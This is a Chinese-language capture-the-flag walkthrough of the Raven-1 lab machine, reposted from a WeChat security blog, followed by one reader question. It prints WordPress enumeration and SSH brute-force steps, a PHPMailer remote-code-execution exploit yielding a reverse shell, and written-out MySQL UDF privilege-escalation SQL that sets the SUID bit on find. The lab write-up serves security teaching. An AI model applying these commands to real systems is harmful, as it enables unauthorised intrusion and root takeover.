免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
聚合网络安全,存储安全技术文章,融合安全最新讯息
0x01信息搜集
扫描到主机地址
查看开放端口及服务
查看CMS指纹
扫描目录,发现有WordPress的网站
在首页的链接页面源码中找到了第一个flag
0x02 漏洞挖掘
既然是WordPress,那么我们就直接用wpscan进行爆破
wpscan --url http://192.168.1.3/wordpress -e
进行ssh端口爆破
还有一种方法
phpMailer 是一个非常强大的php发送邮件类,PHPMailer < 5.2.18中存在高危安全漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。可以在http://192.168.1.3/vendor/VERSION中查看phpMailer的版本。
使用searchsploit搜索phpmailer的exp
我们选用这个Python的exp,导出到当前目录下
修改这三处信息,分别为靶机地址,kali端地址,文件上传到靶机的地址
如下
Kali端开启监听,执行exp(要用Python3)
访问生成的页面即可出发反弹命令,然后用Python生成一个交互式的shell
找到flag2
找到链接数据库的账号密码
在数据库里找到flag3,flag4(wordpress/wp_posts)
0x03 操作系统提权
接下来我们使用UDF来提权,UDF提权条件
(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的libplugin文件夹下。
(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:windowssystem32,在windows2000下放置于c:winntsystem32。
(3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。这里允许root账户外连,(grant all PRIVILEGES on *.* to'root'@'192.168.189.1' identified by '112358'; #这条命令就能让root用户指定ip连接)
(4)可以将udf.dll写入到相应目录的权限。
查找udf提权的exp,选用编号为1518的exp
下载下来
将最后编译得到的.so文件上传到靶机
我这里用kali搭了一个web服务器,将文件放到网站的目录里
靶机下载.so文件
进入WordPress库
创建临时表
create table foo(line blob);
插入提权文件
insert into foo values(load_file('/var/www/1518.so'));
将文件导出到MySQL安装目录下的/lib/plugin
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
创建一个函数
create function do_system returns integer soname '1518.so';
查看创建的函数
select * from mysql.func;
利用函数给find命令suid权限
select do_system('chmod u+s /usr/bin/find');
Find命令成功获得suid权限
成功提权(这里要用/bin/sh,/bin/bash无效)
找到flag4(这个在数据库里就有,应该是bug吧。我就说数据库里怎么会存放两个flag)
还有另一种提权的办法。数据库里保存的就是Steven用户登陆服务器的ssh账号密码。可以直接解密
登陆
该用户可以免密sudo Python
直接用Python就能调出root的shell
本文始发于微信公众号(暗魂攻防实验室):【渗透测试】Raven-1通关手册
2021年8月31日 下午5:20 1F
提权的时候,为什么是www-data,最后变成michael了,还有w3lkin是什么意思